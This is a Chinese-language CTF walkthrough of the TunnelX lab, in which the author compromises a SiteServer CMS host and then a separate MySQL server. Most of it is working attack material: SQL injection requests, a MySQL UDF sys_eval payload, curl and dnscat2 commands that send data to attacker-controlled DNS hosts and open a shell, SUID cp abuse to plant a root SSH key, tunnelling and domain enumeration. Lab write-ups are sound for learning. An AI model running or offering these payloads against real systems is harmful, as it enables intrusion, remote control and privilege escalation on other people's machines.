TunnelX-春秋云镜
39.99.155.252
外网
fscan
fscan.exe -h 39.99.230.203
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.99.230.203:80 open
[*] alive ports len is: 1
start vulscan
[*] WebTitle http://39.99.230.203 code:200 len:24977 title:Zosimos
已完成 1/1
fscan.exe -h 39.99.230.203 -p 1-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.99.230.203:143 open
39.99.230.203:25 open
39.99.230.203:110 open
39.99.230.203:2121 open
39.99.230.203:49665 open
[*] alive ports len is: 5
start vulscan
已完成 0/5 [-] webtitle http://39.99.230.203:2121 Get "http://39.99.230.203:2121": net/http: HTTP/1.x transport connection broken: malformed HTTP status code "Microsoft"
80:

目录扫描
python dirsearch.py -u http://39.99.230.203/
_|. _ _ _ _ _ _|_ v0.4.3 by 鹏组安全
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11714
Output File: D:\cyberspace\MISC_tool_En\all_in\蓝队应急响应工具箱v2025.3\联动红队\onefox\gui_scan\dirsearch\reports\http_39.99.230.203\__26-07-06_18-51-46.txt
Target: http://39.99.230.203/
[18:51:46] Starting:
[18:51:46] 301 - 147B - /js -> http://39.99.230.203/js/
[18:51:46] 403 - 312B - /%2e%2e//google.com
[18:51:47] 403 - 312B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[18:51:47] 404 - 0B - /.ashx
[18:51:47] 404 - 0B - /.asmx
[18:51:51] 200 - 29KB - /404.html
[18:51:52] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[18:51:54] 404 - 0B - /admin%20/
[18:51:54] 404 - 3KB - /admin.
[18:52:01] 302 - 0B - /api/docs/ -> /api/docs/index.html?url=/api/swagger/v1/swagger.json
[18:52:01] 302 - 0B - /api/docs -> /api/docs/index.html?url=/api/swagger/v1/swagger.json
[18:52:02] 301 - 158B - /aspnet_client -> http://39.99.230.203/aspnet_client/
[18:52:02] 403 - 1KB - /aspnet_client/
[18:52:02] 404 - 3KB - /asset..
[18:52:05] 403 - 312B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[18:52:08] 301 - 153B - /contents -> http://39.99.230.203/contents/
[18:52:08] 301 - 148B - /css -> http://39.99.230.203/css/
[18:52:14] 301 - 150B - /fonts -> http://39.99.230.203/fonts/
[18:52:16] 301 - 149B - /home -> http://39.99.230.203/home/
[18:52:17] 403 - 1KB - /images/
[18:52:17] 301 - 151B - /images -> http://39.99.230.203/images/
[18:52:17] 301 - 152B - /include -> http://39.99.230.203/include/
[18:52:17] 403 - 1KB - /include/
[18:52:18] 404 - 3KB - /index.php.
[18:52:19] 404 - 3KB - /javax.faces.resource.../WEB-INF/web.xml.jsf
[18:52:19] 404 - 3KB - /javax.faces.resource.../
[18:52:19] 403 - 1KB - /js/
[18:52:22] 404 - 0B - /login.wdm%20
[18:52:22] 404 - 3KB - /login.wdm%2e
[18:52:34] 404 - 3KB - /rating_over.
[18:52:38] 404 - 0B - /service.asmx
[18:52:41] 404 - 3KB - /static..
[18:52:44] 301 - 153B - /template -> http://39.99.230.203/template/
[18:52:44] 403 - 1KB - /template/
[18:52:46] 404 - 0B - /umbraco/webservices/codeEditorSave.asmx
[18:52:46] 301 - 151B - /upload -> http://39.99.230.203/upload/
[18:52:46] 301 - 151B - /Upload -> http://39.99.230.203/Upload/
[18:52:46] 403 - 1KB - /upload/
[18:52:47] 302 - 153B - /Trace.axd -> /SiteServer/pageError.html?logId=120
[18:52:48] 301 - 150B - /utils -> http://39.99.230.203/utils/
[18:52:49] 200 - 7B - /version.txt
[18:52:49] 200 - 7B - /VERSION.txt
[18:52:49] 404 - 3KB - /WEB-INF./web.xml
[18:52:49] 404 - 3KB - /WEB-INF./
[18:52:51] 404 - 0B - /WebResource.axd?d=LER8t9aS
Task Completed
2121是个ftp匿名登录
ftp 39.99.230.203 2121

需要密码,用hash爆破一下
提取7z文件的哈希
7z2john secret.7z > hash.txt
爆破
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
┌──(root㉿kali)-[/mnt/hgfs/share/labs/TulnnelX]
└─# 7z2john secret.7z > hash.txt
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
┌──(root㉿kali)-[/mnt/hgfs/share/labs/TulnnelX]
└─# ls
hash.txt secret.7z
┌──(root㉿kali)-[/mnt/hgfs/share/labs/TulnnelX]
└─# cat hash.txt
secret.7z:$7z$1$19$0$$16$dcfbf0db0c032c111cd5e48ccde9d906$3636571473$112$104$0e7e9b93a02117462ceefd2fe0508c06f76f83d929037987e04b4191207d74536bb3caa56fa9ca9dca248d31a7d6557dafaf95f3185bf6bc62f7aec434fe3b2cad6dedfd4a3cde3cfa8d482db860629d55a966af5bf0afacbc280f6dd63072f48a82ce16847fdbcb4275485558532897$105$5d00004000
┌──(root㉿kali)-[/mnt/hgfs/share/labs/TulnnelX]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 512/512 AVX512BW 16x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 8 for all loaded hashes
Cost 3 (compression type) is 1 for all loaded hashes
Cost 4 (data length) is 104 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
13131313 (secret.7z)
1g 0:00:03:09 DONE (2026-07-06 18:47) 0.005280g/s 37.17p/s 37.17c/s 37.17C/s bizkit..bagpuss
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
得到密码13131313
文件内容:
A strange character string, You're the only one I'm telling
e7d41890-5742-48f0-9f3c-1393db541fc7
一个UUID,是 SiteServer 中用于身份认证的 API 密钥,在 HTTP 请求头中添加即可访问到后台
SiteServer CMS 6.15.51 后台存在 SQL 注入,加上之前得到的KEY
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 60
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
{"siteId":1,"keyword":"' and 1=(select @@Version)--","groupId":0,"page":1,"perPage":24}

抓取目标请求
单引号报错注入
在Repeater中修改JSON的keyword参数值:
{"siteId":1,"keyword":"1'","groupId":0,"page":1,"perPage":24}
点击 Send,观察响应:
- 如果返回SQL错误信息(如
You have an error in your SQL syntax),说明存在注入

进行UDF提权
攻击步骤1:发送第一个注入请求(写入udf.so)
在Repeater中构造请求:
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: [自动计算]
{"siteId":1,"keyword":"1';SELECT 0x7f454c46...(完整十六进制)... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';-- ","groupId":0,"page":1,"perPage":24}
十六进制:
xxd -p udf.so | tr -d '\n' > udf.hex
关键点:
- 需要把EXP中完整的十六进制字符串复制到
keyword值里 - 如果UDF太长(确实很长),Burp可能会卡,可以用Intruder分块发送
攻击步骤2:创建sys_eval函数
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
{"siteId":1,"keyword":"1';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';-- ","groupId":0,"page":1,"perPage":24}
观察响应:应该返回HTTP 200,如果返回错误,说明udf.so写入失败。
这里看了wp说是站库分离的,后续去问了AI,因为用这个发包的形式DNS反弹shell失败之后用sqlmap得到交互式shell之后查看主机名的时候返回了MYSQL而不是web服务器的名字,所以猜测是站库分离
sql-shell> select @@hostname;
[21:30:42] [INFO] retrieved: 'MYSQL'
select @@hostname: 'MYSQL'
MYSQL用户来源IP也暴露了分离
sql-shell> select user();
select user(): 'root@172.22.61.50'
当前 MySQL 用户是 root@172.22.61.50,这意味着连接来自 172.22.61.50(即 Web 服务器),数据库本身运行在另一个 IP 上(通过 @@hostname 可知是 MYSQL 主机)
这类 CMS 系统的标准部署架构就是:
- Web 服务器(172.22.61.50):运行 IIS + PHP/ASP.NET,提供 Web 服务
- 数据库服务器(172.22.61.41):运行 MySQL,存储数据
为什么知道TCP不出网而DNS出网
sql-shell> select sys_eval('curl xxx.ceye.io');
可以发现http记录里面没有而dns记录里面有,所以就有了下面的思路,用dnscat搭建DNS隧道
攻击步骤3:写入dnscat2到/tmp
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
{"siteId":1,"keyword":"1';SELECT 0x7f454c46...(dnscat的十六进制)... INTO DUMPFILE '/tmp/dnscat';-- ","groupId":0,"page":1,"perPage":24}
攻击步骤4:赋予dnscat执行权限
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
{"siteId":1,"keyword":"1';select sys_eval('chmod +x /tmp/dnscat');-- ","groupId":0,"page":1,"perPage":24}
攻击步骤5:执行whoami验证
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
{"siteId":1,"keyword":"1';select sys_eval('whoami');-- ","groupId":0,"page":1,"perPage":24}
预期响应:在JSON返回值中会包含whoami的执行结果
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 127
{"siteId":1,"keyword":"1';select sys_eval('curl `whoami`.c1759aa1.log.dnslog.pp.ua');-- ","groupId":0,"page":1,"perPage":24}

vps:
ruby ./dnscat2.rb 域名 -c client123
这里的域名大概是

发包:
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 124
{"siteId":1,"keyword":"';select sys_eval('/tmp/dnscat --secret=client123 域名')-- ","groupId":0,"page":1,"perPage":24}
失败
又试了手动连接,用sqlmap去获得交互式
python sqlmap.py -r rawhttp.txt --dbms=mysql --batch --sql-shell --fresh-queries
rawhttp.txt:
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.99.230.203
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 60
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
{"siteId":1,"keyword":"*","groupId":0,"page":1,"perPage":24}

使用 SELECT 查询 16 进制写入 udf.so 到 mysql 插件所在路径:
sql-shell> SELECT so文件的十六进制 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
创建自定义函数 sys_eval 并调用该函数执行系统命令:
sql-shell> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
sql-shell> select * from mysql.func;
sql-shell> select sys_eval('whoami');

下载已经编译好的dnscat客户端并转换成 16 进制,再在 sql-shell 中使用 SELECT 查询 16 进制值将文件写入到目标主机中:
sql-shell> SELECT dnscat文件的十六进制 INTO DUMPFILE '/tmp/dnscat';
查看并验证是否写入成功,在写入成功后赋予执行权限:
sql-shell> select sys_eval('md5sum /tmp/dnscat');
sql-shell> select sys_eval('chmod +x /tmp/dnscat');
sql-shell> select sys_eval('ls -al /tmp/dnscat');


vps开服务端:
ruby ./dnscat2.rb 域名 -c client123

靶机执行
sql-shell> select sys_eval('/tmp/dnscat --secret=client123 域名')
还是失败
学习wp思路和手法
服务端收到下面这种就表示连接成功了
dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
进入交互式shell
windows- 查看所有会话窗口
dnscat2> windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = ns1.example.com [*]
1 :: command (MYSQL) [encrypted and verified] [*]
含义:显示当前 dnscat2 服务端的所有活动窗口/会话
| 窗口 ID | 名称 | 说明 |
|---|---|---|
0 |
main |
主控制台窗口,当前激活状态([active]) |
crypto-debug |
加密调试窗口 | 显示加密相关的调试信息 |
dns1 |
DNS 驱动 | DNS 服务器正在 0.0.0.0:53 运行,监听 ns1.example.com 域名的请求 |
1 |
command (MYSQL) |
这是最重要的!表示客户端(MYSQL 主机)已成功连接,建立了一个命令会话,且通信是加密验证的([encrypted and verified]) |
[\*] 标记:表示该窗口处于后台运行状态,不是当前激活的窗口。
window -i 1- 进入指定窗口
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!
含义:进入 ID 为 1 的会话窗口(即与 MYSQL 主机的命令会话)
| 信息 | 说明 |
|---|---|
New window created: 1 |
进入该窗口 |
history_size (session) => 1000 |
该会话的历史记录最多保存 1000 条 |
Session 1 Security: ENCRYPTED AND VERIFIED! |
会话是加密且经过验证的(基于 --secret 密钥) |
This is a command session! |
这是一个命令会话,可以在目标主机上执行 dnscat2 特有的命令(如 ping、shell、download 等) |
3. shell - 获取交互式 Shell
command (MYSQL) 1> shell
Sent request to execute a shell
New window created: 5
Shell session created!
含义:在目标主机上创建一个交互式系统 Shell(相当于反弹了一个 cmd/bash)
| 信息 | 说明 |
|---|---|
Sent request to execute a shell |
向客户端发送了执行 Shell 的请求 |
New window created: 5 |
创建了一个新的窗口,ID 为 5,用于承载这个 Shell 会话 |
Shell session created! |
Shell 会话创建成功 |
4. suspend - 挂起当前窗口
command (MYSQL) 1> suspend
含义:将当前激活的窗口(ID 1)挂起到后台,返回到主控制台窗口
类似于:
- Linux 中的
Ctrl+Z(将前台进程放到后台) - Screen/Tmux 中的
Ctrl+A, D(脱离当前会话)
执行 suspend 后,回到了 dnscat2> 主提示符,可以继续操作其他窗口
5. 再次 windows - 查看更新后的窗口列表
dnscat2> windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = ns1.example.com [*]
1 :: command (MYSQL) [encrypted and verified]
2 :: sh (MYSQL) [encrypted and verified] [*]
变化:
- 窗口
1(命令会话)不再有[*]标记,表示它已被挂起到后台 - 新增了窗口
2:sh (MYSQL) [encrypted and verified] [*],这就是刚刚创建的交互式 Shell 会话 - 窗口
2带有[*],表示它是当前激活的窗口
6. window -i 2 - 进入 Shell 会话
dnscat2> window -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
This is a console session!
含义:进入 ID 为 2 的 Shell 会话窗口
| 信息 | 说明 |
|---|---|
This is a console session! |
这是一个控制台会话,不是命令会话 |
anything you type will be sent as-is to the client |
你输入的任何内容都会原样发送到目标主机(就像直接在目标主机的终端里输入一样) |
To go back, type ctrl-z. |
按 Ctrl+Z 可以挂起这个会话,回到主控制台 |
command session vs console session 的区别:
| 会话类型 | 作用 | 输入示例 |
|---|---|---|
command session |
执行 dnscat2 特有命令 | shell、ping、download、upload、listen |
console session |
执行目标主机的系统命令 | whoami、ls、pwd、id |
7. whoami - 在目标主机上执行命令
sh (MYSQL) 2> whoami
mysql
含义:在目标主机(MYSQL)上执行了 whoami 命令,返回当前用户是 mysql
这证明:
- Shell 会话正常工作
- 当前权限是
mysql用户(不是 root) - 后续需要提权(如通过 SUID cp 提权)
| 命令 | 作用 |
|---|---|
windows |
查看所有活动会话窗口 |
window -i 1 |
进入 ID 为 1 的命令会话 |
shell |
在目标主机上创建交互式 Shell |
suspend |
挂起当前窗口,回到主控制台 |
window -i 2 |
进入 ID 为 2 的 Shell 会话 |
whoami |
在目标主机上执行系统命令 |
Ctrl+Z |
挂起当前会话,回到主控制台 |
dnscat
查找SUID
sql-shell> select sys_eval('find / -perm -u=s -type f 2>/dev/null > /tmp/1.txt &');
[12:27:21] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('find / -perm -u=s -type f 2>/dev/null > /tmp/1.txt &')'
[12:27:21] [INFO] retrieving the length of query output
[12:27:21] [INFO] retrieved:
[12:27:21] [INFO] retrieved:
select sys_eval('find / -perm -u=s -type f 2>/dev/null > /tmp/1.txt &'): ' '
sh (MYSQL) 2> cat /tmp/1.txt
/bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/bin/cp
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/staprun
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/s-nail/s-nail-privsep
发现有cp,可以写入公钥
sh (MYSQL) 6> echo 'ssh-rsa AAAxxxxxx' > /tmp/authorized_keys
sh (MYSQL) 2> cp /tmp/authorized_keys /root/.ssh/authorized_keys
Dnscat2 支持 TCP 转发,允许通过已建立的 DNS 隧道建立 SSH 或 RDP 连接
sh (MYSQL) 2> ifconfig
eth0 Link encap:Ethernet HWaddr 00:16:3e:26:69:cb
inet addr:172.22.61.41 Bcast:172.22.255.255 Mask:255.255.0.0
inet6 addr: fe80::216:3eff:fe26:69cb/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:138972 errors:0 dropped:0 overruns:0 frame:0
TX packets:82245 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:101274940 (101.2 MB) TX bytes:14866264 (14.8 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:4 errors:0 dropped:0 overruns:0 frame:0
TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:300 (300.0 B) TX bytes:300 (300.0 B)
sh (MYSQL) 2>
# ctrl + z
dnscat2> window -i 1 #窗口 1 是 command (MYSQL) 会话,用于执行 dnscat2 特有的命令,之前已经用它在目标主机上创建了 Shell(窗口 2),现在再次进入,是为了执行 listen 命令建立 TCP 隧道
command (MYSQL) 1> listen 0.0.0.0:2222 172.22.61.41:22
Listening on 0.0.0.0:2222, sending connections to 172.22.61.41:22
Connection from 222.244.120.98:16531; forwarding to 172.22.61.41:22...
[Tunnel 0] connection successful!
建立 TCP 端口转发隧道
command (MYSQL) 1> listen 0.0.0.0:2222 172.22.61.41:22
含义:在 dnscat2 服务端(VPS)上监听 2222 端口,将收到的所有连接,通过 DNS 隧道转发到目标主机(MYSQL)的 22 端口(SSH 服务)
语法:
listen <本地监听地址:端口> <目标地址:端口>
| 参数 | 值 | 说明 |
|---|---|---|
| 本地监听地址 | 0.0.0.0:2222 |
在 VPS 的所有网卡上监听 2222 端口 |
| 目标地址 | 172.22.61.41:22 |
将流量转发到内网 MYSQL 主机的 SSH 端口 |
数据流向
攻击者 → VPS:2222 → DNS 隧道 → MYSQL:22
ssh连接
root@kali-server:~# ssh root@vps_ip -p 2222
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Welcome to Alibaba Cloud Elastic Compute Service !
Last login: Tue Nov 7 12:41:38 2023 from 172.22.61.41
root@MYSQL:~# whoami
root
root@MYSQL:~# cat /root/flag/flag02.txt
▄▄▄▄▄▄▄ ▀▀█ ▄ ▄
█ ▄ ▄ ▄ ▄▄ ▄ ▄▄ ▄▄▄ █ █ █
█ █ █ █▀ █ █▀ █ █▀ █ █ ██
█ █ █ █ █ █ █ █▀▀▀▀ █ ▄▀▀▄
█ ▀▄▄▀█ █ █ █ █ ▀█▄▄▀ ▀▄▄ ▄▀ ▀▄
flag02: flag{ed71eb83-64ea-4bfa-892b-01079eb97b09}
再利用ssh搭建socks5代理
root@kali-server:~# ssh -D 1080 -CfgN root@vps_ip -p 2222
| 参数 | 含义 | 详细说明 |
|---|---|---|
ssh |
SSH客户端命令 | 用于建立安全的加密连接 |
-D 1080 |
动态端口转发 | 在本地(攻击机)开启一个SOCKS5代理服务,监听端口1080。所有通过此代理的流量都会被SSH客户端封装,并转发到SSH服务端(即你的VPS) |
-C |
启用压缩 | 压缩传输数据,在DNS这种低速隧道下能略微提升传输效率 |
-f |
后台运行 | SSH连接建立后,会转入后台运行,不会占用你的当前终端 |
-g |
允许远程主机连接 | 允许其他IP地址的主机使用你这个本地代理。如果没这个参数,默认只允许本机(127.0.0.1)连接 |
-N |
不执行远程命令 | 告诉SSH客户端,只做端口转发,不开启远程Shell会话。常用于纯转发场景 |
root@vps_ip |
SSH登录用户和地址 | 指定使用root用户登录你的VPS(即vps_ip) |
-p 2222 |
指定SSH端口 | 因为你的dnscat2 listen命令将VPS的2222端口映射到了内网MYSQL主机的22端口,所以-p 2222表示连接VPS的2222端口,实际是连到了MYSQL主机上 |
- VPS 是 dnscat2 服务端:
ruby ./dnscat2.rb ... - VPS 也是 SSH 客户端:
ssh -D 1080 ... -p 2222 - VPS 同时是 SOCKS5 代理服务器:监听在
127.0.0.1:1080
流量走向
[VPS 本机]
│
│ SSH 客户端连接 localhost:2222
│ 因为 2222 端口被 dnscat2 listen 占用
▼
[dnscat2 服务端 (VPS 上)]
│
│ 通过 DNS 隧道转发流量
▼
[MYSQL 主机 172.22.61.41]
│
│ 连接到本地的 22 端口 (SSH)
▼
[内网其他主机]
socks代理配置就是vpsip 1080
提权
之前有扫到内网网段172.22.61.41
root@kali-server:~# proxychains4 -q crackmapexec smb 172.22.61.41/24
SMB 172.22.61.17 445 DC [*] Windows 10.0 Build 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
SMB 172.22.61.34 445 WIN2012 [*] Windows 6.3 Build 9600 x64 (name:WIN2012) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
SMB 172.22.61.50 445 WEB [*] Windows 10.0 Build 14393 x64 (name:WEB) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
这里wp是从41开始扫描的
| 目标写法 | 起始 IP | 结束 IP | 扫描范围 |
|---|---|---|---|
172.22.61.0/24 |
172.22.61.0 |
172.22.61.255 |
从 0 开始,包含 0 和 255 |
172.22.61.41/24 |
172.22.61.41 |
172.22.61.255 |
从 41 开始,不包含 0-40 |
扫到三台主机
1. 域控制器(DC)- 172.22.61.17
| 字段 | 值 | 说明 |
|---|---|---|
| IP | 172.22.61.17 |
域控服务器地址 |
| 主机名 | DC |
域控制器 |
| 操作系统 | Windows 10.0 Build 14393 |
Windows Server 2016 |
| 域 | xiaorang.lab |
域名称 |
| SMB 签名 | signing:True |
开启了 SMB 签名,无法进行 NTLM 中继攻击 |
| SMBv1 | False |
已禁用不安全的 SMBv1 |
关键信息:这是域控制器,SMB 签名已开启,意味着更安全,攻击难度更高。
2. Windows Server 2012 - 172.22.61.34
| 字段 | 值 | 说明 |
|---|---|---|
| IP | 172.22.61.34 |
Win2012 服务器地址 |
| 主机名 | WIN2012 |
Windows Server 2012 R2 |
| 操作系统 | Windows 6.3 Build 9600 |
Windows Server 2012 R2 |
| 域 | xiaorang.lab |
域成员 |
| SMB 签名 | signing:False |
未开启 SMB 签名,可能可以进行 NTLM 中继 |
| SMBv1 | False |
已禁用 SMBv1 |
关键信息:SMB 签名未开启,是内网横向移动的潜在突破口。从 WP 看,这确实是突破口(通过 AS-REP Roasting 获得 yangdming 密码,然后利用关机权限提权)。
3. Web 服务器 - 172.22.61.50
| 字段 | 值 | 说明 |
|---|---|---|
| IP | 172.22.61.50 |
Web 服务器地址 |
| 主机名 | WEB |
Web 服务器 |
| 操作系统 | Windows 10.0 Build 14393 |
Windows Server 2016 |
| 域 | xiaorang.lab |
域成员 |
| SMB 签名 | signing:False |
未开启 SMB 签名 |
| SMBv1 | False |
已禁用 SMBv1 |
关键信息:这也是我们一开始打点进入的机器(通过 SiteServer CMS 漏洞)
wp做了LDAP匿名查询操作
Windows Server 的 LDAP 服务默认允许匿名查询(除非管理员特意关闭),可以获取:
- 域用户列表
- 域组列表
- 计算机列表
- 部分属性(如
sAMAccountName、userPrincipalName)
root@kali-server:~# proxychains4 -q crackmapexec ldap 172.22.61.17 -u '' -p '' --users
SMB 172.22.61.17 445 DC [*] Windows Server 2016 Datacenter 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
LDAP 172.22.61.17 389 DC [+] xiaorang.lab\:
LDAP 172.22.61.17 389 DC [*] Total of records returned 74
LDAP 172.22.61.17 389 DC DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Administrator,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Guest,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=DefaultAccount,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Administrators,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Guests,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Print Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Backup Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Replicator,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Remote Desktop Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Network Configuration Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Performance Monitor Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Performance Log Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Distributed COM Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=IIS_IUSRS,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Cryptographic Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Event Log Readers,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Certificate Service DCOM Access,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=RDS Remote Access Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=RDS Endpoint Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=RDS Management Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Hyper-V Administrators,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Access Control Assistance Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Remote Management Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=System Managed Accounts Group,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Storage Replica Administrators,CN=Builtin,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=DC,OU=Domain Controllers,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=krbtgt,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Domain Computers,CN=Users,DC=xiaorang,DC=lab
LDAP 172.22.61.17 389 DC CN=Domain Controllers,CN=Users,DC=xiaorang,DC=lab
